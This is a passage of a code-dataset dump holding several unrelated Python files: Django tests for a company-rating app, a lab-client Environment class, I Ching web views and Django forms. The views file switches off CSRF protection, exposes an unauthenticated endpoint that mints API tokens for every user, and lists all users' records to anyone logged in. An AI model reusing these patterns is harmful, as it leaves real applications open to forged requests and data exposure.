Empresa.objects.get(nombre=\"Maracena\")\n\t\t#self.assertEqual(emp,Empresa.objects.filter(nombre=\"Maracena\"))\n\t\tself.assertEqual(emp.nombre,emp2.nombre)\n\t\tself.assertEqual(int(emp.calificacion),int(emp2.calificacion))\n\n\tdef test_funciona_index(self):\n\t\tc = Client()\n\n\t\tresponse = c.get(reverse('empresa'))\n\t\tself.assertEqual(response.status_code, 200)\n\n\tdef test_funciona_registrar(self):\n\t\t\"\"\"\n\t\t\tEste Test prueba que funcionan correctamente la vista encargada\n\t\t\tde registrar empresas en la aplicacion. \n\t\t\tPrimero se crea un cliente con el hago una peticion por post\n\t\t\ta registra. \n\t\t\tUna vez hecho compruebo que se ha hecho correctamente y ademas \n\t\t\tque se ha hecho la inserccion en la base de datos correctamente.\n\t\t\tLuego intento registrar la misma empresa y comprubo que va bien\n\t\t\ty no se ha introducido dos veces (objects.get solo devuelve un \n\t\t\tvalor).\n\t\t\"\"\"\n\t\tc = Client()\n\n\t\tresponse = c.post(reverse('registrar'),{'nombre':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona\")\n\n\t\tresponse = c.post(reverse('registrar'),{'nombre':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\n\tdef test_funciona_borrar(self):\n\t\t\"\"\"\n\t\t\tEn el siguiente test creo un empresa con calificacion 8,\n\t\t\tla guardo en la base de datos, obtengo la tupla de la base\n\t\t\tde datos y compruebo que lo introducido es correcto.\n\t\t\tUna vez hecho esto llamo a borrar que eliminara la calificacion,\n\t\t\tvuelvo a obtener de la base de datos y compruebo que efectivamente\n\t\t\tse ha eliminado la calificacion (en mi caso -1) y vuelvo a\n\t\t\tllamar a borrar para saber si hace una peticion bien aunque\n\t\t\tya este la calificacion a -1.\n\"\"\"\t\t\n\t\tc = Client()\n\n\t\temp = Empresa(nombre=\"Mercadona\",calificacion=\"8\")\n\t\temp.save()\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona\")\n\t\tself.assertEqual(emp.calificacion,8)\n\n\t\tresponse = c.post(reverse('borrar'),{'NB':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('borrar'),{'NB':\"Mercadona\"})\n\t\tself.assertEqual(response.status_code, 200)\n\n\n\n\tdef test_funciona_modificar_calificacion(self):\n\t\t\"\"\"\n\t\t\tTest que comprueba que funcina correctamente la opcion de\n\t\t\tmodificar.\n\"\"\"\n\t\tc = Client()\n\n\t\temp = Empresa(nombre=\"Mercadona2\",calificacion=-1)\n\t\temp.save()\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.nombre,\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('modificarCalificacion'),{'nombre':\"Mercadona2\",'calificacion':9})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,-1)\n\n\t\tresponse = c.post(reverse('calificar'),{'nombre':\"Mercadona2\",'calificacion':9})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,9)\n\n\n\t\tresponse = c.post(reverse('modificarCalificacion'),{'nombre':\"Mercadona2\",'calificacion':10})\n\t\tself.assertEqual(response.status_code, 200)\n\t\temp = Empresa.objects.get(nombre=\"Mercadona2\")\n\t\tself.assertEqual(emp.calificacion,10)\n\n\n\n\n\nif __name__ == '__main__':\n\tunittest.main()\n\n\n","sub_path":"apps/empresas/tests.py","file_name":"tests.py","file_ext":"py","file_size_in_byte":3820,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"399863034","text":"from __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport logging\nimport os\n\nfrom lab_api.swagger_client.rest import ApiException\nfrom lab_client.commons import text_utils\nfrom lab_client.handler import LabApiHandler, FileHandler\nfrom lab_client.handler.experiment_handler import Experiment\nfrom lab_client.utils import experiment_utils\n\n\nclass Environment:\n \"\"\"\n Initialize environment from a Lab instance. The Environment manages all files (models & datasets), services, experiments\n and provides access to the Lab API. Locally, it has a dedicated folder structure to save models, datasets, analysis and experiment data.\n\n # Arguments\n project (string): Selected project (optional).\n root_folder (string): Root folder of the environment. If not provided, it will use `DATA_ENVIRONMENT` value\n as the root folder. If `temp`, a temporary folder will be used as root folder and removed on exit (optional).\n lab_endpoint (string): Endpoint URL of a Lab instance (optional).\n lab_api_token (string): API Token for accessing the selected Lab instance (optional).\n \"\"\"\n\n _ENV_NAME_ENV_ROOT_PATH = \"DATA_ENVIRONMENT\"\n _TEMP_ROOT_FOLDER = \"temp\"\n\n # Lab related environment variables\n _ENV_NAME_LAB_ENDPOINT = \"LAB_ENDPOINT\"\n _ENV_NAME_LAB_PROJECT = \"LAB_PROJECT\"\n _ENV_NAME_LAB_API_TOKEN = \"LAB_API_TOKEN\"\n\n # local folders\n _LOCAL_ENV_FOLDER_NAME = \"environment\"\n _EXPERIMENTS_FOLDER_NAME = \"experiments\"\n _DATASETS_FOLDER_NAME = \"datasets\"\n _MODELS_FOLDER_NAME = \"models\"\n _DOWNLOADS_FOLDER_NAME = \"downloads\"\n\n _LOCAL_OPERATOR = \"local\"\n _LOCAL_PROJECT = \"local\"\n\n _LAB_USER_PROJECT_PREFIX = \"lab-user-\"\n\n class DataType:\n MODEL = \"model\"\n DATASET = \"dataset\"\n EXPERIMENT = \"experiment\"\n BACKUP = \"backup\"\n\n def __init__(self, project: str = None, root_folder: str = None, lab_endpoint: str = None,\n lab_api_token: str = None):\n\n # Create the Logger\n self.log = logging.getLogger(__name__)\n\n # Initialize parameters\n self.active_exp = None\n self._connected = False # connected to lab\n\n # Set root folder\n if not root_folder:\n # use environment variable\n root_folder = os.getenv(self._ENV_NAME_ENV_ROOT_PATH)\n\n if not root_folder:\n # that current git root as environment folder (add to gitignore?)\n root_folder = experiment_utils.get_git_root()\n\n if not root_folder:\n # create local environment\n root_folder = self._LOCAL_ENV_FOLDER_NAME\n\n if root_folder == self._TEMP_ROOT_FOLDER:\n # if folder is temp -> create temporary folder that will be removed on exit\n import tempfile\n import atexit\n import shutil\n\n root_folder = tempfile.mkdtemp()\n\n # automatically remove temp directory if process exits\n def cleanup():\n self.log.info(\"Removing temp directory: \" + root_folder)\n shutil.rmtree(root_folder)\n self.log.info(\"Temp directory removed\")\n\n atexit.register(cleanup)\n\n if not os.path.exists(root_folder):\n os.makedirs(root_folder)\n\n self._root_folder = root_folder\n\n self._operator = None\n\n self._project = project\n if not self._project:\n self._project = os.getenv(self._ENV_NAME_LAB_PROJECT)\n\n if lab_endpoint is None:\n lab_endpoint = os.getenv(self._ENV_NAME_LAB_ENDPOINT)\n\n if lab_api_token is None:\n lab_api_token = os.getenv(self._ENV_NAME_LAB_API_TOKEN)\n\n if lab_endpoint and not lab_api_token:\n self.log.warning(\"lab_endpoint is provided but no lab_api_token\")\n\n # Initialize handlers\n self._file_handler = None\n self._lab_handler = None\n\n if lab_endpoint and lab_api_token:\n self._lab_handler = LabApiHandler(lab_endpoint=lab_endpoint,\n lab_api_token=lab_api_token)\n\n if self._lab_handler is not None and self.lab_handler.is_connected():\n self.log.info(\"Initializing environment with Lab API: \" + self.lab_handler.lab_endpoint)\n\n operator_user = self.lab_handler.auth_api.get_me()\n if operator_user and operator_user.data and operator_user.data.id:\n self._operator = operator_user.data.id\n self._connected = True\n else:\n self.log.warning(\"Failed to get user information from Lab Instance. Initializing local environment.\")\n self._connected = False\n\n if not self._project:\n if self._operator:\n self._project = self._LAB_USER_PROJECT_PREFIX + self._operator\n else:\n self._project = self._LOCAL_PROJECT\n self.log.info(\"No project was selected. Will fallback to \" + self._project)\n elif self._connected:\n try:\n # check if project is accessible\n project_info = self.lab_handler.lab_api.get_project(self._project)\n if not self.lab_handler.request_successful(project_info):\n self._connected = False\n # TODO self._project = project_info.data.id # set to project id?\n except Exception as e:\n if isinstance(e, ApiException):\n self.log.warning(\n \"Failed to connect to lab. Reason: \" + str(e.reason) + \" (\" + str(e.status) + \")\")\n self._connected = False\n if not self._connected:\n self.log.warning(\n \"Failed to access project \" + str(self._project) + \" on Lab Instance. \"\n \"Initializing local environment.\")\n else:\n self.log.info(\"Initializing local environment.\")\n self._connected = False\n\n def print_info(self, host_info: bool = False):\n \"\"\"\n Prints out a summary of the configuration of the environment instance. Can be used as watermark for notebooks.\n \"\"\"\n print(\"Environment Info:\")\n print(\"\")\n if self.is_connected():\n print(\"Lab Endpoint: \" + self.lab_handler.lab_endpoint)\n lab_info = self.lab_handler.admin_api.get_lab_info()\n print(\"Lab Version: \" + lab_info.data.version)\n else:\n print(\"Lab Endpoint: Not connected!\")\n print(\"\")\n from lab_client.__version__ import __version__\n print(\"Client Version: \" + str(__version__))\n print(\"Configured Project: \" + self.project)\n print(\"Configured Operator: \" + self.operator)\n print(\"\")\n print(\"Folder Structure: \")\n print(\"- Root folder: \" + os.path.abspath(self.root_folder))\n print(\" - Project folder: \" + self.project_folder)\n print(\" - Datasets folder: \" + self.datasets_folder)\n print(\" - Models folder: \" + self.models_folder)\n print(\" - Experiments folder: \" + self.experiments_folder)\n if host_info:\n print(\"\")\n print(\"Host Info: \")\n import yaml\n print(yaml.safe_dump(experiment_utils.get_host_info().to_dict(),\n allow_unicode=True,\n default_flow_style=False))\n\n def is_connected(self) -> bool:\n \"\"\"\n Returns `True`, if the environment is connected to a Lab instance.\n \"\"\"\n\n return self._lab_handler is not None and self._connected\n\n def cleanup(self, only_selected_project: bool = False, max_file_size_mb: int = 50, last_file_usage: int = 3,\n replace_with_info: bool = True, excluded_folders: list = None):\n \"\"\"\n Cleanup environment folder to reduce disk space usage.\n Removes all files with more than 50 MB that haven't been used for the last 3 days.\n\n # Arguments\n only_selected_project (bool): If 'True', only the currently selected project will be cleaned up.\n Otherwise all projects will be cleaned. Default: False.\n max_file_size_mb (int): Max size of files in MB that should be deleted. Default: 50.\n replace_with_info (bool): Replace removed files with `.removed.txt` files with file removal reason. Default: True.\n last_file_usage (int): Number of days a file wasn't used to allow the file to be removed. Default: 3.\n excluded_folders (list[str]): List of folders to exclude from removal (optional).\n \"\"\"\n from lab_client.utils import file_handler_utils\n\n folder = self.root_folder\n\n if only_selected_project:\n folder = self.project_folder\n\n file_handler_utils.cleanup_folder(folder,\n max_file_size_mb=max_file_size_mb,\n last_file_usage=last_file_usage,\n replace_with_info=replace_with_info,\n excluded_folders=excluded_folders)\n\n @property\n def root_folder(self) -> str:\n \"\"\"\n Returns the path to the root folder of the environment.\n \"\"\"\n\n return self._root_folder\n\n @property\n def project_folder(self) -> str:\n \"\"\"\n Returns the path to the project folder of the environment.\n \"\"\"\n folder = os.path.join(self.root_folder, text_utils.simplify(self.project))\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def datasets_folder(self) -> str:\n \"\"\"\n Returns the path to the datasets folder of the selected project.\n \"\"\"\n folder = os.path.join(self.project_folder, self._DATASETS_FOLDER_NAME)\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def downloads_folder(self) -> str:\n \"\"\"\n Returns the path to the downloads folder of the selected project. This folder contains downloaded via url.\n \"\"\"\n folder = os.path.join(self.project_folder, self._DOWNLOADS_FOLDER_NAME)\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folder\n\n @property\n def models_folder(self) -> str:\n \"\"\"\n Returns the path to the models folder of the selected project.\n \"\"\"\n folder = os.path.join(self.project_folder, self._MODELS_FOLDER_NAME)\n\n if not os.path.exists(folder):\n os.makedirs(folder)\n\n return folder\n\n @property\n def experiments_folder(self) -> str:\n \"\"\"\n Returns the path to the experiment folder of the environment.\n \"\"\"\n folder = os.path.join(self.project_folder, self._EXPERIMENTS_FOLDER_NAME)\n if not os.path.exists(folder):\n os.makedirs(folder)\n return folder\n\n @property\n def project(self) -> str:\n \"\"\"\n Returns the name of the configured project.\n \"\"\"\n\n if self._project is None:\n self._project = self._LOCAL_PROJECT\n\n return self._project\n\n @property\n def operator(self) -> str:\n \"\"\"\n Returns the operator (user) of this environment.\n \"\"\"\n\n if self._operator is None:\n self._operator = self._LOCAL_OPERATOR\n\n return self._operator\n\n # Handlers\n\n @property\n def file_handler(self) -> FileHandler:\n \"\"\"\n Returns the file handler. The file handler provides additional functionality for interacting with the remote storage.\n \"\"\"\n\n if self._file_handler is None:\n self._file_handler = FileHandler(self)\n\n return self._file_handler\n\n @property\n def lab_handler(self) -> LabApiHandler:\n \"\"\"\n Returns the lab handler. The lab handler provides access to the REST API of the configured Lab Instance.\n \"\"\"\n\n if self._lab_handler is None:\n self.log.debug(\"Lab Handler is not initialized.\")\n\n return self._lab_handler\n\n # Default file operations, for more operations use file handler\n\n def upload_folder(self, folder_path: str, data_type: str, metadata: dict = None,\n file_name: str = None, track_event: bool = True) -> str:\n \"\"\"\n Packages (via ZIP) and uploads the specified folder to the remote storage.\n\n # Arguments\n folder_path (string): Local path to the folder you want ot upload.\n data_type (string): Data type of the resulting zip-file. Possible values are `model`, `dataset`, `experiment`.\n metadata (dict): Adds additional metadata to remote storage (optional).\n file_name (str): File name to use in the remote storage. If not provided, the name will be extracted from the provided path (optional)\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Key of the uploaded (zipped) folder.\n\n # Raises\n Exception if folder does not exist locally\n \"\"\"\n\n return self.file_handler.upload_folder(folder_path, data_type,\n metadata=metadata,\n file_name=file_name,\n track_event=track_event)\n\n def upload_file(self, file_path: str, data_type: str, metadata: dict = None,\n file_name: str = None, track_event: bool = True) -> str:\n \"\"\"\n Uploads a file to the remote storage.\n\n # Arguments\n file_path (string): Local file path to the file you want ot upload.\n data_type (string): Data type of the file. Possible values are `model`, `dataset`, `experiment`.\n metadata (dict): Adds additional metadata to remote storage (optional).\n file_name (str): File name to use in the remote storage. If not provided, the name will be extracted from the provided path (optional)\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Key of the uploaded file.\n\n # Raises\n Exception if file does not exist locally.\n \"\"\"\n\n return self.file_handler.upload_file(file_path, data_type,\n metadata=metadata,\n file_name=file_name,\n track_event=track_event)\n\n def get_file(self, key: str, force_download: bool = False, unpack: bool = False, track_event: bool = True) -> str:\n \"\"\"\n Returns local path to the file for the given `key`. If the file is not available locally, download it from the remote storage.\n\n # Arguments\n key (string): Key or url of the requested file.\n force_download (boolean): If `True`, the file will always be downloaded and not loaded locally (optional).\n unpack (boolean): If `True`, the file - if a valid ZIP - will be unpacked within the data folder\n and the folder path will be returned (optional).\n track_event (bool): If `True`, this file operation will be tracked and registered experiments will be notified (optional)\n\n # Returns\n Local path to the requested file or `None` if file is not available.\n \"\"\"\n\n return self.file_handler.get_file(key, force_download=force_download, unpack=unpack, track_event=track_event)\n\n # experiment handling\n def create_file_path(self, filename: str) -> str or None:\n \"\"\"\n Returns the path for a new file in the experiment folder.\n\n # Arguments\n filename (string): Name for the new file.\n\n # Returns\n Local path in experiment folder for the new file.\n \"\"\"\n if not self.active_exp:\n self.log.info(\"This environment does not have an active experiment. \"\n \" Creating a temporary experiment.\")\n\n self.active_exp = Experiment(self, \"local temp experiment\",\n auto_sync=False,\n track_file_events=False,\n redirect_logs=False,\n upload_code_repo=False,\n upload_code_script=False)\n\n return self.active_exp.create_file_path(filename)\n\n def create_experiment(self, name: str) -> Experiment:\n \"\"\"\n Creates a new #Experiment and save it as active experiment.\n\n # Arguments\n name (string): Short description of the experiment.\n\n # Returns\n The created #Experiment instance.\n \"\"\"\n self.active_exp = Experiment(self, name, context_symbol_table=experiment_utils.get_caller_symbol_table())\n return self.active_exp\n","sub_path":"services/lab-workspace/docker-res/duplicated-resources/ml-lab-py/lab_client/environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":17225,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"215570047","text":"\nfrom django.shortcuts import get_object_or_404, render\nfrom django.conf import settings\nfrom django.http import HttpResponse, Http404, HttpResponseRedirect\nfrom django.views.generic import TemplateView, ListView, DetailView\nfrom rest_framework.views import APIView\nfrom rest_framework import viewsets, status\nfrom rest_framework.response import Response\nfrom rest_framework.renderers import JSONRenderer\nfrom rest_framework.decorators import api_view\nfrom rest_framework import permissions\nfrom rest_framework.authentication import SessionAuthentication, BasicAuthentication\nimport simplejson as json\nfrom iching.models import Trigram, Hexagram, UserThrow\nfrom iching.serializers import TrigramSerializer, HexagramSerializer, UserThrowSerializer\nfrom django.contrib.auth.decorators import login_required\nfrom django.utils.decorators import method_decorator\nfrom django.core import serializers\nfrom django.core.urlresolvers import reverse\n\n\n\nclass CSRFExemptSessionAuthentication(SessionAuthentication):\n def enforce_csrf(self, request):\n return\n\n\nclass TrigramViewSet(viewsets.ModelViewSet):\n queryset = Trigram.objects.all().order_by('trigram')\n serializer_class = TrigramSerializer\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n\nclass HexagramViewSet(viewsets.ModelViewSet):\n queryset = Hexagram.objects.all().order_by('hexagram')\n serializer_class = HexagramSerializer\n permission_classes = (permissions.IsAuthenticatedOrReadOnly,)\n\n\nclass JSONResponse(HttpResponse):\n\n def __init__(self, data, **kwargs):\n content = JSONRenderer().render(data)\n kwargs['content_type'] = 'application/json'\n super(JSONResponse, self).__init__(content, **kwargs)\n\n\n@login_required\n@api_view(['GET', 'POST'])\ndef userthrowlist(request):\n if request.method == 'GET':\n userthrows = UserThrow.objects.all()\n serializer = UserThrowSerializer(userthrows, many=True)\n return JSONResponse(serializer.data)\n\n elif request.method == 'POST':\n serializer = UserThrowSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data, status=status.HTTP_201_CREATED)\n return JSONResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\n@login_required\n@api_view(['GET', 'PUT', 'DELETE'])\ndef userthrowdetail(request, pk):\n try:\n userthrow = UserThrow.objects.get(pk=pk)\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n if request.method == 'GET':\n serializer = UserThrowSerializer(userthrow)\n return JSONResponse(serializer.data)\n elif request.method == 'PUT':\n serializer = UserThrowSerializer(userthrow, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return JSONResponse(serializer.data)\n return JSONResponse(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n elif request.method == 'DELETE':\n userthrow.delete()\n return HttpResponse(status=status.HTTP_204_NO_CONTENT)\n\n\nclass UserThrowList(APIView):\n authentication_classes = (CSRFExemptSessionAuthentication, BasicAuthentication)\n permission_classes = (permissions.IsAuthenticated,)\n\n def get(self, request, format=None):\n snippets = UserThrow.objects.all()\n serializer = UserThrowSerializer(snippets, many=True)\n return Response(serializer.data)\n\n def post(self, request, format=None):\n serializer = UserThrowSerializer(data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data, status=status.HTTP_201_CREATED)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n\nclass UserThrowDetail(APIView):\n authentication_classes = (CSRFExemptSessionAuthentication, BasicAuthentication)\n permission_classes = (permissions.IsAuthenticated,)\n\n def get_object(self, pk):\n try:\n return UserThrow.objects.get(pk=pk)\n except UserThrow.DoesNotExist:\n raise Http404\n\n def get(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n serializer = UserThrowSerializer(userthrow)\n return Response(serializer.data)\n\n def put(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n serializer = UserThrowSerializer(userthrow, data=request.data)\n if serializer.is_valid():\n serializer.save()\n return Response(serializer.data)\n return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)\n\n def delete(self, request, pk, format=None):\n userthrow = self.get_object(pk)\n userthrow.delete()\n return Response(status=status.HTTP_204_NO_CONTENT)\n\n\nclass IChingView(TemplateView):\n template_name = 'iching.html'\n\n def get_context_data(self, **kwargs):\n context = super(IChingView, self).get_context_data(**kwargs)\n jsvars = {'static_prefix': settings.STATIC_URL, 'throw_save_url': 'iching/userthrows',\n 'user_id': self.request.user.email}\n context.update({'jsvars': json.dumps(jsvars)})\n return context\n\n\nclass HexagramListView(ListView):\n template_name = 'hexagramlist.html'\n context_object_name = 'hexagram_list'\n model = Hexagram\n queryset = Hexagram.objects.order_by('pk')\n\n def get_context_data(self, **kwargs):\n context = super(HexagramListView, self).get_context_data(**kwargs)\n return context\n\n\nclass TrigramListView(ListView):\n template_name = 'trigramlist.html'\n context_object_name = 'trigram_list'\n model = Trigram\n\n def get_context_data(self, **kwargs):\n context = super(TrigramListView, self).get_context_data(**kwargs)\n return context\n\n\nclass HexagramDetailView(DetailView):\n template_name = 'hexagramdetail.html'\n context_object_name = 'hexagram'\n model = Hexagram\n\n def get_context_data(self, **kwargs):\n context = super(HexagramDetailView, self).get_context_data(**kwargs)\n return context\n\n\nclass TrigramDetailView(DetailView):\n template_name = 'trigramdetail.html'\n context_object_name = 'trigram'\n model = Trigram\n\n def get_context_data(self, **kwargs):\n context = super(TrigramDetailView, self).get_context_data(**kwargs)\n return context\n\n\nclass ThrowListView(ListView):\n template_name = 'throwlist.html'\n context_object_name = 'throw_list'\n model = UserThrow\n\n def get_queryset(self):\n try:\n if not self.request.user.is_authenticated():\n print('Not authenticated....user.pk = ' + str(self.request.user))\n\n print('self.request.user.pk = ' + str(self.request.user))\n else:\n print('Authenticated....user.pk = ' + str(self.request.user))\n queryset = UserThrow.objects.get(user=self.request.user).order_by('-date')\n except Exception as e:\n print('ThrowListView Exception....e = ' + e.message)\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n return queryset\n\n def get_context_data(self, **kwargs):\n context = super(ThrowListView, self).get_context_data(**kwargs)\n return context\n\n\nclass ThrowDetailView(DetailView):\n template_name = 'throwdetail.html'\n context_object_name = 'throw'\n model = UserThrow\n\n def get_context_data(self, **kwargs):\n try:\n '''\n for count, thing in enumerate(kwargs):\n print 'KWARGS.... {0}. {1}'.format(count, thing)\n\n pk = kwargs.get('pk')\n\n print 'pk = ', pk\n '''\n userthrow = get_object_or_404(UserThrow.objects, pk=pk)\n statichexagram = Hexagram.objects.get(throw=userthrow.throw())\n movedhexagram = Hexagram.objects.get(throw=userthrow.movedthrow())\n context = super(ThrowDetailView, self).get_context_data(**kwargs)\n context.update({'static_prefix': settings.STATIC_URL, 'statichexagram': statichexagram,\n 'movedhexagram': movedhexagram})\n return context\n except Http404:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\n# @login_required\ndef throwlist(request):\n try:\n if not request.user.is_authenticated():\n return HttpResponseRedirect(reverse('login'))\n # print('Not authenticated....user.pk = ' + str(request.user))\n # return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n throw_list = UserThrow.objects.filter(user=request.user)\n context = {'static_prefix': settings.STATIC_URL, 'throw_list': throw_list}\n return render(request, 'throwlist.html', context)\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\ndef throwdetail(request, pk):\n try:\n\n def throwtobinary(throw):\n binarystr = ''\n for aline in throw:\n if aline in ['6', '7']:\n binarystr += '0'\n else:\n binarystr += '1'\n return binarystr\n\n print('pk = ', pk)\n\n userthrow = UserThrow.objects.get(pk=pk)\n\n lines = userthrow.throw()\n movedlines = userthrow.movedthrow()\n\n print('lines = ', lines)\n print('movedlines = ', movedlines)\n\n linesbin = throwtobinary(lines)\n movedlinesbin = throwtobinary(movedlines)\n\n print('linesbin = ', linesbin)\n print('movedlinesbin = ', movedlinesbin)\n\n staticobj = Hexagram.objects.get(throw=linesbin)\n movedobj = Hexagram.objects.get(throw=movedlinesbin)\n\n print('movedhexagram = ', staticobj.hexagram)\n print('statichexagram = ', movedobj.hexagram)\n\n js_vars = {'static_prefix': settings.STATIC_URL, 'lines': lines, 'movedlines': movedlines,\n 'static_name': staticobj.hexagram_name, 'moved_name': movedobj.hexagram_name}\n context = {'jsvars': json.dumps(js_vars), 'question': userthrow.question, 'date': userthrow.dateonly()}\n\n return render(request, 'throwdetail.html', context)\n\n except UserThrow.DoesNotExist:\n return HttpResponse(status=status.HTTP_404_NOT_FOUND)\n\n\ndef move_line(line_num):\n if line_num == \"6\":\n return 8\n elif line_num == \"9\":\n return 7\n else:\n return int(line_num)\n\n\ndef make_binary(num):\n if num in ['6', '7']:\n return '0'\n else:\n return '1'\n\n\ndef ordinal(num):\n return '%d%s' % (\n num, {11: 'th', 12: 'th', 13: 'th'}.get(num % 100, {1: 'st', 2: 'nd', 3: 'rd', }.get(num % 10, 'th')))\n\n\ndef cast(request):\n if request.user.is_anonymous():\n user = None\n else:\n user = request.user\n js_vars = {'static_prefix': settings.STATIC_URL, 'throw_save_url': 'iching/userthrows', 'userid': request.user.pk}\n context = {'jsvars': json.dumps(js_vars), 'moonlink': True}\n return render(request, 'iching.html', context)\n\n\ndef line(request, hex_id, line_id, line_value):\n return HttpResponse(\n \"Hello, world. You're looking at request for hexagram %s, line %s, value %s\" % (hex_id, line_id, line_value))\n\n\ndef name(request, lines):\n binary_string = ''.join(map(make_binary, lines))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n return HttpResponse(the_hex.chinese_name + '
' + the_hex.hexagram_name)\n\n\ndef get_db_line(the_hex, index, title):\n if index == 1:\n if title:\n return the_hex.line1_title\n else:\n return the_hex.line1\n elif index == 2:\n if title:\n return the_hex.line2_title\n else:\n return the_hex.line2\n elif index == 3:\n if title:\n return the_hex.line3_title\n else:\n return the_hex.line3\n elif index == 4:\n if title:\n return the_hex.line4_title\n else:\n return the_hex.line4\n elif index == 5:\n if title:\n return the_hex.line5_title\n else:\n return the_hex.line5\n else:\n if title:\n return the_hex.line6_title\n else:\n return the_hex.line6\n\n\ndef throwdescription(request, lines):\n moving_lines = {}\n mvg_lns = {}\n binary_string = ''.join(map(make_binary, lines))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n index = 1\n for current_line in lines:\n if current_line == '6':\n moving_lines['Six in the ' + ordinal(index) + ' place.'] = get_db_line(the_hex, index, True)\n mvg_lns[index] = {'name': 'Six in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n elif current_line == '9':\n moving_lines['Nine in the ' + ordinal(index) + ' place.'] = get_db_line(the_hex, index, True)\n mvg_lns[index] = {'name': 'Nine in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n index += 1\n return render(request, 'hexagram.html',\n {'static_prefix': settings.STATIC_URL, 'hexagram': the_hex, 'movinglines': mvg_lns})\n\n\nclass HexagramView(TemplateView):\n template_name = 'hexagram.html'\n\n def get_context_data(self, **kwargs):\n mvg_lns = {}\n binary_string = ''.join(map(make_binary, kwargs.get('lines')))\n the_hex = get_object_or_404(Hexagram.objects, throw=binary_string)\n index = 1\n for current_line in kwargs.get('lines'):\n if current_line == '6':\n mvg_lns[index] = {'name': 'Six in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n elif current_line == '9':\n mvg_lns[index] = {'name': 'Nine in the ' + ordinal(index) + ' place.',\n 'title': get_db_line(the_hex, index, True),\n 'descript': get_db_line(the_hex, index, False)}\n index += 1\n context = super(HexagramView, self).get_context_data(**kwargs)\n context.update({'static_prefix': settings.STATIC_URL, 'hexagram': the_hex, 'movinglines': mvg_lns})\n return context\n\n\ndef test(request):\n from django.contrib.auth.models import User\n from rest_framework.authtoken.models import Token\n for user in User.objects.all():\n Token.objects.get_or_create(user=user)\n return HttpResponse(\"Hello, added tokens to users\")\n","sub_path":"iching/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":14786,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"192521994","text":"from django import forms\nfrom django.contrib.postgres import forms as pg_forms\nfrom django.core.exceptions import ValidationError\n\nfrom ..base.forms import SentryProjectInput\nfrom ..checklists.forms import TagInput\nfrom ..repos.forms import RepoInput\nfrom . import models\n\n\nclass SplitArrayField(pg_forms.SplitArrayField):\n def has_changed(self, initial, data):\n try:\n python_data = self.to_python(data)\n except ValidationError:\n pass\n else:\n if self.remove_trailing_nulls:\n null_index = None\n for i, value in reversed(list(enumerate(python_data))):\n if value in self.base_field.empty_values:\n null_index = i\n else:\n break\n if null_index is not None:\n data = python_data[:null_index]\n\n if initial in self.empty_values and data in self.empty_values:\n return False\n return super().has_changed(initial, data)\n\n\nclass EnvironmentForm(forms.ModelForm):\n service_urls = SplitArrayField(\n forms.URLField(required=False),\n size=5,\n remove_trailing_nulls=True,\n label=\"Service URLs\",\n required=False,\n )\n\n class Meta:\n model = models.Environment\n fields = [\"name\", \"dashboard_url\", \"logs_url\", \"service_urls\"]\n labels = {\"dashboard_url\": \"Dashboard URL\", \"logs_url\": \"Logs URL\"}\n\n\nclass ServiceForm(forms.ModelForm):\n class Meta:\n model = models.Service\n fields = [\n \"owner\",\n \"name\",\n \"impact\",\n \"status\",\n \"slack_channel\",\n \"sentry_project\",\n 